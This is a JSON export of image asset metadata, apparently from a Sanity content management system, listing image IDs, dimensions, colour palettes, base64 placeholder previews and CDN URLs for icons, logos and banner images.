{"_createdAt":"2022-09-07T11:39:50Z","_id":"image-c048fc923ede74500f4c423333704741ed5ed52a-24x24-svg","_rev":"cEPH2uRN58AU2lp9QMtE0v","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:50Z","assetId":"c048fc923ede74500f4c423333704741ed5ed52a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACw0lEQVQ4jZVUW0uVQRRdJ7UHCSQvSSmCnSwhHwItetF6CIQiKh/CxEP6rTkqSvbSDfPNjDJ7FCEKeuh+gSTK6sfNij2z1dMFooHFN9+etdfM3rNnAwAiARX+3UJASVVgG1MZMaT1UuIUgCYATWakkYiTvmikSy48A2gcJRWoF9GgArs1iXpNoJREjd+bN0h8+07BF0zQjWISaBLRJeKYiKFIDIsYjsQpt9laU9rgmvtWgFiY4EUgzqafBhEHTEDEtIiHIp5F4oWIN46XZhOx4pyh5BPQYKHHC/D8EM0iBkXcdqevIr64yLqIx451t9napnPvKGBQAc26boJEWUQlEs9FfBfxSsSiAkZiwEkRfZHoFdEbiT4x2UaME4nXCvih7DuugLIJ3ozEexEbIu4q56lLAW0xoFMBRyNxQsRxMc07RbQpJM5p9zFf07hhgvdEPBJxRUS3iPZI9IuYELEkYs3zZvlcc5ut9Sug3X3GXGPJBAfSzgX2iTjk5Ceeo2+es6eOtzHbNp0zIaJH2ddOP2BlU6dKqrd2vzk7/mcRyyJG/SYHHENuW46Zs5F8zLeCUiTqEK2Az6fitNzMekmM+mXZ7XeIOBIzbN4ciXLMnBX36dQ5QNPYKUoRjS7So4DWGFL4dpsLkVgVsRqJhWQLKMeAVgX0uE+ja7hg4fVoL2U6fTsUMKOAj57Hdw6bfxBRFbE/8avu508Xmq95elnM0K2AOQU8UEBVAcOGaHPivoipVFpXAX3KTy5pzGP7/f56UmJPCiejxXNpaPEQD6pAo84CWq5pLME7Tuo6l32h8A60E8ZeEWdUJNg82285p5r5fwwPdee0c/kbLVf2rIiKijTfCdE2XgQs9L8Kpr5mDbM2Bfn2DxuihWmNeCsSa11jef7PYc0yNc8c/i4Ru+xUadOt7vw/I520tsXbfCuvtcn/bfwEnGE+DFqXti0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443434","foreground":"#fff","population":0.17,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a22404","foreground":"#fff","population":2.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ea6112","foreground":"#fff","population":6.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#734125","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ca845e","foreground":"#fff","population":0.69,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c5c44","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ea6112","foreground":"#fff","population":6.42,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-wifi.svg","path":"images/sczeoy4w/production/c048fc923ede74500f4c423333704741ed5ed52a-24x24.svg","sha1hash":"c048fc923ede74500f4c423333704741ed5ed52a","size":399,"uploadId":"PS9E2wFZdYWbzR1nG4Ni2tYEMMp6oAI8","url":"https://cdn.sanity.io/images/sczeoy4w/production/c048fc923ede74500f4c423333704741ed5ed52a-24x24.svg"} {"_createdAt":"2022-07-13T01:06:01Z","_id":"image-31e28793e6b30061dcde25d59872f1f9ed9df717-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdzHL","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:32Z","assetId":"31e28793e6b30061dcde25d59872f1f9ed9df717","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTQlIEPD.SY6mlPqWCQ-n$tk?aVEEzrYWY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADHklEQVQokS3G728adRzA8fuD1PgHNHvsA03MFmPqEk20XVazPfHRZkfsMtetc1006kxjB4Uyy69SVs02SrE/EAa9O34UWji4X9xdgd73exwtx9Km4/Mxdj545f1mNJ1805AMT1VQl2v1ZlhSWhFRbkXqohFpSG9JSjty0LYjJnX+NzgvId0INTthaprLlPa8lB65mKqgPkln+HpyI91N/bND+Pwe5fIVusPuUu6/5yu0WKxSWWnRQ9KnxBpQQnrUatWpLSepXV8mtvSyax/si/Zh5ykjNLRQOsNZG5sZ3OHKWBVU3Bc0LO9JKJR2UU6toboWxXb6byQNEc3DHpLOAXbFONKyFzulBSSleTwSQl3H4KOM0eoGGpJhCg0NVc0cqoYNRYEAmy2DEnsCx79egdf3R8F+fBNaiWfQFBqgyTVoVhJQL8ahkt8aiq/8aGXu09OCL8aY1Ama1CEmdbBD+rAr2vhiu47P/QHMTU9g69YH2LnzKVZ/m0JuNYzZVApz2QxyuRSymQ1k11ahGvoBu/NXe29+vLHJEGsQJNaAUGuAHdMBvkYxtlbC4LwPo4/uYWruHm75fsa/Aov4Z2wFV6JRjK2s4FZiFctJNypBF5DpUTy5+qEDH39WYIjlBInlEGL1kZDjodQkkEhVwO17Bu45D4Tdv0PQMw+LPh8s+v3g9nhgye8Fdj0MFu+F05d3YTg9gTD25TF+fn2HoeQoSEnPtEwLbZMMu502CEUe1r2PIf7917Dt+gKSU9dgeeY2LDx8AAuzDyH+hxt0Pg5nyjbgXnyILwKIS14bYoF1xta1EFVlaqoi2oYEg3YD+9VNJEvfIr05gr0r76L51QjWxi9h9to4snenUI+H8ETKIBg8gsYhyDkE6VUP1FyC6ddLv9A9Pt/e5+WuXKqd6AXhTEoKw+SsADMf1XHsHQ0+ec88vTjSccZHm4O5WeWskFBQZ8+BzspocE044HbB4BaZ10r58rFYcPWk/J2BWrh1prGToKUnYf/5JPgnv4OJCz/Bxfef4qULHnRdf4QbkRlUszOgs+fwbR+Azt5GnR37F6afxvIetvlXAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363a4f","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#144eb0","foreground":"#fff","population":1.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85825","foreground":"#fff","population":8.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3bcb4","foreground":"#000","population":4.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6494","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#628ca7","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85825","foreground":"#fff","population":8.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"31e28793e6b30061dcde25d59872f1f9ed9df717-1567x844.png","path":"images/sczeoy4w/production/31e28793e6b30061dcde25d59872f1f9ed9df717-1567x844.png","sha1hash":"31e28793e6b30061dcde25d59872f1f9ed9df717","size":310169,"uploadId":"hCSm18gb5ft9di3kRVNxrJ6oorbnlyaE","url":"https://cdn.sanity.io/images/sczeoy4w/production/31e28793e6b30061dcde25d59872f1f9ed9df717-1567x844.png"} {"_createdAt":"2023-06-20T08:27:52Z","_id":"image-48a5eaf5ac24cd0c591518a769ac4df8e604ad2d-100x100-svg","_rev":"c9TjXEWyWBArEQcMlg0r04","_type":"sanity.imageAsset","_updatedAt":"2023-06-20T08:27:52Z","assetId":"48a5eaf5ac24cd0c591518a769ac4df8e604ad2d","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eH5i4;kEDNaI%gadj[kDayaeDNad.AkXIUo#ayV?ofog%gbIIUjXxs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":100,"width":100},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEaUlEQVQ4jbWUW0yTZxjH/+FmvV/G+3xflYOsKqJsc7ihgralRajCsJ4AhwiK2WzYbCvlaD+QMxaEUhDwUyfLxGxAthmkHsCBgHKw5bQlyzKXLYNdLbtouKTf0roJJma72f7Jm/e5+uX/f5/3eYD/W1yqA3SwHpTuAKXan9UpNaB950EJJSBtASg+D6QrAanz/wWWcwN8eiv49BZwWZ+AOyaCO9oG7kgTuPcq/wLmg6nNYBoLKL4QTHnm5TD+o1vgDd3gjl8Fb+gFbx0HO9SIwMN2BOptoL1lzwBqMzhtAZjK6HfL7SkG2/3xi7CwkmEEFQ1BfvYOgnN7wB9uwpYcESGZ7bK1aXbiD9QpKOm8ghJKiLT5MqbJx2tbM0Dqs6C4PJA6D7R7ldMtVWNYU/wQ3Aef49WyecgN3QHcyc8YZV7RUVqLQAfrRUquFCnxnEDaAh1TmxlTGgMCNx8GU5lASiOY1rICVAhDkJucoEMNeLN6yhefyQ3d2WGGm87wDzsX1x1r9fD6Wg/tLVukPUVOisvLYioTI6UJpLOCKY0IVBtXgOuFYay13Eew8AgbS4dla8x3dOvMfU5t1b2l021D0j6hRwo52iyx5CqJdNYl0hb0U1xeIlOZZCw21/+upDKtADdXjiKkaBBh1mFElI9QaPEDYX3xwGJGx4R0Y+Tpck33pFdl6fJuyHQsB+mrJUo8t0DxhQJpLOSH+ZqkWRV5a92432VE5Rjeqn2siKgYFTcIQx61bUyq7fvee3P0R+lCz5R0qrHfG5srSsH6ag8lWkUuoURBe4rA7S2F736u6MYnfqjvfvfilCLKNiFurhzzRJQNSxmiy3vLvSDN//y79OXYD96chj4p/JjdQ8kVIp90XsH2lYPbXwvSCSvA2JZp7Gx2Q9U266tpZ7NLiKqfXIysGpMOtruWu8Z/9c788oe39/HT5eMNTmljdvsCHbAJcn0NsZQacIcaQEnlK0BV+6wflnDtO18tU16a0e1odjm31U8uqZsmpROds5Kxa1Z6v2VEis7vXQrOutJPqc2JQUcaZCypAnSkyT+ez6XpmIPm8jyibJN+eFzHHNvVOp29vemJM+rC+GJkxYgnvGTQE2buWwg6/UU/n309izI62KZMO+SWAVBaCzh97arIDjc0l7+FumMOJ52/Ie7yXICybYbtbHbr3rZNCOHlI2Jw4aDIG29bydCbyJ3qYnz29YDX95eBO9EJ0teBkldFVovzUF6a9Z/dbTNI/eonRDc9QYzDLYu+OEW+zoeXPVSEFQ1QqOXOK5Gl32CddQRBOZ+CS3OADlwApdS9OM/xV+cR3ehCjGPa5xAxLdNQts1gh92FN2oeI7ToAeRn74LPG/BvHi7rGuSGXsizO8FltL9848R1zGG73YXY1mewGIcb7zRMYVPFKIIs9yE33gaf+zX40z1YY3JCbuwHd6rr5bC/tavVjSjbhP8b+dxtq59EZPUjbCgdRkjhIHjzXQSeuYeQwgcg0+1/hv0X+hOnrMJq76yyGQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3c61","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044e8e","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4f86aa","foreground":"#fff","population":0.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4d4dc","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74bcf4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4f86aa","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#107cd4","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"m3-aggregator-banner-image.svg","path":"images/sczeoy4w/production/48a5eaf5ac24cd0c591518a769ac4df8e604ad2d-100x100.svg","sha1hash":"48a5eaf5ac24cd0c591518a769ac4df8e604ad2d","size":4626,"uploadId":"hKWmvvsPLNKQwCAuNenuFBnbYuxbdTaM","url":"https://cdn.sanity.io/images/sczeoy4w/production/48a5eaf5ac24cd0c591518a769ac4df8e604ad2d-100x100.svg"} {"_createdAt":"2022-07-13T01:08:21Z","_id":"image-b1bd7d16f7f9079b40be827756331b875f4f1171-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8QLB","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:53Z","assetId":"b1bd7d16f7f9079b40be827756331b875f4f1171","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKR2}WyYo#IT-;K-RjoJs:bc-oI9Rj%NM_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC3UlEQVQokVXMy2/cVBgFcP+fbNmygBUCAQIJIZdWQhULWCSlmiI1YRIJtagiASWhCg0Zz/vhGY/t6/Hjeq6/e/0Y2+lkpvN9KBEbFj+do7M4muvFH82d8IllB0czy/9lZvnNO+bUu3M4mbKG7Ub7sSj2ZXrTUGl9mGZVM8tWzaJYHRdFfazS+hhU9RRk+Zlmzry9bn9qtbuT9NoYQqs9lEZnJFvtkTQ6Y2gZQzGa2Ms4VksFmUgEgO9H0rJd6bieFEJKqYoUIHcl5EfaIoBDh3E1dyKy7IAsO6S5cyci243u+8IXpBJJKnLJm4+pY1xR9+ovYuaQgMek+JJkxIs0Sf7QElk9T2SVJLIiAeUukSX+D6xQqhLzNMOMM7RGLbx89QwHR49wed7EdDbZZa5LmeemeRyeaKDqA1A1gKoJVIWgKgJVopQrkrJAJXNUoDAXMULgYu/qDH9rfEOnjz/A1k/fkvv3BaZsTmrO8sW1d6aBLA9AlgD/HUiZk4KMFChKQVIGQDn3qbD+Id79ky5e/kw/PvyYHn7xIT15/IiMs98x9aYk+k7Rfe5calLmB0pmkEJKKahdBoB5IjBPllgIjquEYxnZWJrnGF79iifNPfxO/xS//uoTbOz9gOb1GVb+mArLzIPX5rmWJclBJkSSiSXlIt4VIsKVCLEUAVbLBVZLD+vYxtofopi8wdbZC3xxvI+vXj7F1utTdIe93cob0jbspxu/d6KtFvZhyiwJnkVZ6FAVM6qXLt3EDr2N5/Q2tmjNZ7TmE6oXHZKzNxSaF8Tnl2SNBtRpTwnmfcKwnWNonGrVrPu9GhsdbnYWko3dmltsHVtszafslptsw8dsE43YNuyxrd+6twkMdusbTFg95o4G7srpLDAwBhgYDe2GDd9bOf3PM3fwoPTH+pqb+i039Q0f69toqG+jgf4u6um7oKPvfEPfBS0dg7s09He+oW/vN+MBhcaXGBjv/wsR2fyNSb5EWQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b314f","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#554a1c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c19b9c","foreground":"#000","population":0.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c19b9c","foreground":"#000","population":0.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cabed","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d5698","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1966e0","foreground":"#fff","population":0.35,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b1bd7d16f7f9079b40be827756331b875f4f1171-1567x844.png","path":"images/sczeoy4w/production/b1bd7d16f7f9079b40be827756331b875f4f1171-1567x844.png","sha1hash":"b1bd7d16f7f9079b40be827756331b875f4f1171","size":327477,"uploadId":"0WinnhpmTZICUnmVu82fnBXLvWveVILd","url":"https://cdn.sanity.io/images/sczeoy4w/production/b1bd7d16f7f9079b40be827756331b875f4f1171-1567x844.png"} {"_createdAt":"2022-07-13T01:08:07Z","_id":"image-0fa4e1089ed43a4ab91b15683800ff2e5d2a7d59-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8P2f","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:28Z","assetId":"0fa4e1089ed43a4ab91b15683800ff2e5d2a7d59","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA8hCO-=IUxuIU?wt7M{ozV@DhM|oce-t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACwElEQVQokUWS7VMaBxCHsaAESxBRMqXGdibC8XYgHFej8QWx8ZiJJBrAA847BARNbKdMHdtgowJSRe0f/XQ4Z9oPv9kPu/vsb3fW4ojUcS028SSP8UjHPE8cM5n8jFP+FVfqlGnpxMzNSi1mEw08UR1PuIInouERDdziIY6gzrhfwxYwsMwstxGyF6TyfV6rA+IfronkrpEKA6T8DYu7XVIfeyzlu8i7lyTefUHa+RP5fQc51yGU+Y1psWoCrUIVi3f1zGxK6/e8rT2yqd+zrt2RMYZsaLe8LvZZLvbZqNySPhiauVHMGA+8UW9YSLdxRqrYAvoT0LdxzlJxwJY+ZNu4Y9u4ZVv/G0UfkFGvWdm7YHnvLzbLN2RrD2Trjyi1B7aMe5YKPeZW29jFFt+EGoyFGljmN8+R833WywM21B5rhUsTlNV6pItfebN7QXr/GsW4JXf0SK75D8rhkPVSn5Vil9jOV7yrv2MVT7CEW1herrVJ7V7yszbgrdYnU+qiHNywVeqSfPcHUeWc5IdL5EKfn4oD5OINyY89xNwV4vsrwjtXeNfO/gd6V9pIe12U6pBs9Q6lekf28J6lvSt8y6c44y2c0iku+Rfc8mfcqU+4U09xSvqEK3mCI9bCGmk+AUfFo7WD2Q6hbAdB+YKgdJhPnzG5eMJYsI4tUuN5TGc2XsYbU/GKKt5oCW+4hDdYYkao8G2winV0Q1fI4EW8zotUi6nFJo5onWfRBhNi05xqj9aYSRzwo6yyIBfwS3n8iTz+WJ5AtIA/mGcuUMTlLzMROMAyK6j8IGq8TBzijuhM+CtYA7rpbCx8xDOxxkxS57uUhk/S8CUq+OIV5sQy8yGV7wP7TC/s43ilYn9VwjIpaEwFK0wJJZx+FftCCZtg/PcG1nCD8ehIR9iiTVPjkSMmwnXswSp2wTCdjfsrpv4FlQiIi5VN4wUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292d53","foreground":"#fff","population":1.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":24.36,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":24.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cccbe3","foreground":"#000","population":0.03,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94a9e6","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#88549c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de5454","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0fa4e1089ed43a4ab91b15683800ff2e5d2a7d59-1567x844.png","path":"images/sczeoy4w/production/0fa4e1089ed43a4ab91b15683800ff2e5d2a7d59-1567x844.png","sha1hash":"0fa4e1089ed43a4ab91b15683800ff2e5d2a7d59","size":92791,"uploadId":"G4vjHBvJKjBB9TDZ3hTKqWtwuQNwbpBI","url":"https://cdn.sanity.io/images/sczeoy4w/production/0fa4e1089ed43a4ab91b15683800ff2e5d2a7d59-1567x844.png"} {"_createdAt":"2022-06-30T19:58:16Z","_id":"image-598278a921d3d0e6cc3483fdd6f7c911b3f81ca7-854x528-png","_rev":"lf1jOsEAA7PAFZMZhZoaNY","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:54Z","assetId":"598278a921d3d0e6cc3483fdd6f7c911b3f81ca7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VdQABn%J?DR.^#%KoIRlRmWC~QNHIYoeE5N2RkxYxsoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6174242424242424,"height":528,"width":854},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACJUlEQVQokV1TTWtTQRTtP6tSwaAbVy5ciODClbrwDxSqbRJoFyIqQhdKN2qLrdaFoFbctImKoK2gabRBTS2B5L3MzJs3dz6OzH1Jm2bgMOfNvHM4d+7MhFIK/X4fSZKg1+sxH35HRJ7nOUIIKMZwPj5CCIwJIQTSNGVh5FJKntO0z+uRG2PgvYf3AWQDzAisC/ADMzbUWiPLMhZZa0dAsETMnXNwzqPTd/jYJLzZJrz+arCxQ9j5bSG0R/C+MIwCImJRTBGF1nmQPYLzxfylZTG3pnH5gcKl+wpXFhUWN3L87TqEUFTAhmZgGEXtrsPnXxa1BmGrQcz3ew7aeNR2La49zDB1S2JyRqBUkag819jrDAyHCfmMnIPUHm+3CdMrmoUR08sa774R0syjvmtx/VGGU7MSJ24KnKlKVF5otNgwjBl6h1R5PNkyuHBHYWpWcpLIV+oGPenwoXlkeHJgWD00PJaQ2DBRHo83Dc7fVpiciWVJ5k9rBl1ZJLw6VnL5sORBQj47Ii45UQ7LtRwX70mUKgKlsmD+rJ6jK4oO31hSOFsVOF0WOLcgMf8yJrTcZW5KdB5ek74ibH7XuPtKorwqGJHXfmik0qDRzrH0XqG6JjC3KjC/LrH+KcNBr7hyMRwbxutSdNsikYQ/nRw/2wrNtmIe14yxkBlhv2uw90/zXutAo5MSdF7c1+jDhqOITyuWn2WKEXlc473BP0SGH0Osalz/H+JPbWz9qTEnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5c5c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#07327d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4484f4","foreground":"#fff","population":15.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbcbe","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99c5fc","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e6c86","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4484f4","foreground":"#fff","population":15.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"598278a921d3d0e6cc3483fdd6f7c911b3f81ca7-854x528.png","path":"images/sczeoy4w/production/598278a921d3d0e6cc3483fdd6f7c911b3f81ca7-854x528.png","sha1hash":"598278a921d3d0e6cc3483fdd6f7c911b3f81ca7","size":14767,"uploadId":"Sgd6hFNQeRxyyHMK1U5qsupGXWw4BzL2","url":"https://cdn.sanity.io/images/sczeoy4w/production/598278a921d3d0e6cc3483fdd6f7c911b3f81ca7-854x528.png"} {"_createdAt":"2023-03-01T09:43:30Z","_id":"image-e854fbd486c4ba7be1c07430217b5b161691f975-800x316-png","_rev":"pJJUxfiu5kmajTgXetEUFc","_type":"sanity.imageAsset","_updatedAt":"2023-03-01T09:43:57Z","altText":"Digital Asset Research logo","assetId":"e854fbd486c4ba7be1c07430217b5b161691f975","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5316455696202533,"height":316,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACTklEQVQokS2Sy0tUcRzFf/eO87pz78z9Pb/f3++OOWr4KKcRl67DVavUCQQjIcgWkdWMZOIDw0SkJ7UokwwbWpQSheNEQS5DAulpC00T2ta/EBMtDpzV4ZwPh9QUVpN2ca3TKlZmrWLllVWsTNrDrztqBpfcuKqLeUnfYVwkhJCOVCpR9SmfJjgXcUAdAcCQEJK4XpJIqQjxTt48Gzk9/8g+92yTFMr7pFj5bBXK9+2h5WORrsHA9TzuM55mXNQLqRq4EAe4kLUAWAeo01KBz7gIOQmXSKUIkfmJzVR+ajd26u66deHlCrm0+sm6+GLHLizfqRmY6/CSSaCMN3IhD0sFWQXYqk3QpE3QogCbuJDKpyysjSE+ZYTo3rE/0DO6J/OTU9Gh513WlbVpe6z80br2thQaXur0KUWpoEkBtgFiVhuTDdK1h1CbBi4kUsqqCGwFQLxkihCdH/+te8f2oW9qNjq3ftx6uHXLevDlG5n/WrInVjqp7xupoFUB5gDwCGrdDqizQqo6IZUExJQ2JgGoHZ8ypxr4HntGf7CTMxvhufV3ZGl3hzz5uU0Wt6+HRkrtnusan/E2xkXHv8kKckKqnAJs1iZoRm1atDYZQF3rU1ZPzImJfuweuUcHZjciM2/2yOOdD1Zp/4a98P1ouH8c3YQrUpRlqhz/t8pwIRtQm0wQpBsR9UHUuhZQG5+yNAn6rjq6eyRHz9y+HJuuLNoLW+ftp79aItPleFylo46XiqZ8FqOMO0Iqp3qf6nUAdcwE6agCqCoGgFHKePgvPCaJac4uYd4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345065","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04456b","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#04456b","foreground":"#fff","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#075a91","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#80c8f8","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5070","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c94ee","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"logo-digital-asset-research.png","path":"images/sczeoy4w/production/e854fbd486c4ba7be1c07430217b5b161691f975-800x316.png","sha1hash":"e854fbd486c4ba7be1c07430217b5b161691f975","size":16382,"title":null,"uploadId":"ddW8nZr7uh6xJn2KKNa23VsT0Jc5KAim","url":"https://cdn.sanity.io/images/sczeoy4w/production/e854fbd486c4ba7be1c07430217b5b161691f975-800x316.png"} {"_createdAt":"2022-03-22T13:37:13Z","_id":"image-d86802e92e53b39f286ffee7f08859d975f02f06-606x600-png","_rev":"bMt7yNl4HqyCjpAC1fL0dD","_type":"sanity.imageAsset","_updatedAt":"2022-05-14T09:00:53Z","altText":"Women giving speech alt","assetId":"d86802e92e53b39f286ffee7f08859d975f02f06","description":"Women giving speech description","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eKBpt~EP0e%6#|-pS%Nfwas:00%j%OV:RjOQxWrVNtR.pHVqroJBt8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.01,"height":600,"width":606},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAF7klEQVQ4jWXUe0xTdxQH8HPbKiwIFkSmyMMHKjocikwRFBSttPTetuDAljJeUrQqUJgURHRTlAJFEKFUJbxaEHzOikrvBWWZD+acRJ1GJ2bZfEyNExgwFaS/31I2kyU7yUnOX5+c7x/ngKIRQUoTBkUThnV7uiDu0Ct2et1Tu2DxRu9Zc+ar/BYv7pBKpZ15eXmZOp3O49TJE2CtluYmYIto+F+Ni7gI8uq3kFT/zl7RhH0SawbEkuwzGf6h0XrPmbO/nzlr1h9BQUG9Uqn0fHq6il9RUmADGMOJndFgUROAsgGQ+r/iBA3E141wFI2jizc2Y21S7WAnP9Xwk7ffyueentOH5871xgEBAZgfLnpMxWzJWZpUPfne1wsA1BggBEPRkcsA3RisSRWNGGByXBekn8KchLrhkPi69w3Rla9vLFU0d7stkjyeNc/vXcCyQMQXCLAgQt4XHJ1TvVpe9OlgloPt66/cOelVD4iEoxhSD